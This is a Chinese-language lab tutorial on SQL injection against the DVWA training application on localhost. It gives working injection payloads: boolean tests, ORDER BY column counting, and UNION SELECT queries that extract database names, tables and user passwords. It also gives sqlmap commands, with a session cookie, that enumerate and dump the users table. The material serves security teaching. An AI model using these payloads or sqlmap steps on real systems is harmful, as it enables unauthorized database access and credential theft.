一、查看源代码,看到后台执行的SQL语句为:
"SELECT first_name, last_name FROM users WHERE user_id = '$id';";
此时在输入框输入1' and 1=1#
则后台SQL为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';
“#”的意思是,将后面的语句全部屏蔽掉。
可以看到输入1' and 1=1#能够正常查询。
而此时输入1' and 1=2#,不能够正常查询。
1=1正常输出,1=2错误输出。说明SQL语句生效,存在SQL注入漏洞。
二、怎样利用SQL注入漏洞
一般步骤如下:
1.判断列、字段数 order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#';
当输入1' order by 3#时,网页出错,说明该数据库表只有两列或字段,没有第三列。也就是说因为网页不知道第三列要干啥,所以出错了。
2.联合查询其他信息 union select [sql1] [sql2]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(), database()#';
user()和database()为MySQL内置函数
user():返回当前数据库连接用户
database():返回当前数据库名称
3.联合查询表union select table_name, table_schema from information_shcema.tables where table_schema = '[database_name]'
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name, table_schema from information_schema.tables where table_schema = 'dvwa'#';
注:information_schema.tables 保存了数据库名称、每个数据库表的名称
dvwa有两个表格,一个是guestbook,一个是users
4.联合查询信息 union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user, password from users#';
成功查询到用户名和密码。
三、利用SQLmap自动化SQL注入利用过程一般如下
1. 检测漏洞
命令框输入 :
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=g06i55f7fo2qgvojlrr9m5l057; security=low"
检测到有SQL注入漏洞,并且检测到数据库为MySQL
2.获取数据库名
命令框输入:
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=g06i55f7fo2qgvojlrr9m5l057; security=low" --dbs
注:--dbs:database server 获取所有数据库名
3.获取指定数据库表
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=g06i55f7fo2qgvojlrr9m5l057; security=low" -D dvwa --tables
注:
-D:Database 指定想要获取的数据库名为dvwa
--tables:列出数据库表
4.获取指定数据库列/表项
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=g06i55f7fo2qgvojlrr9m5l057; security=low" -D dvwa -T users --columns
注:
-D:Database 指定想要获取的数据库名为 dvwa
-T:Table 指定想要获取的表名为 users
--columns:列出表项/列
5.获取数据
sqlmap -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=g06i55f7fo2qgvojlrr9m5l057; security=low" -D dvwa -T users --dump
注: --dump:读取数据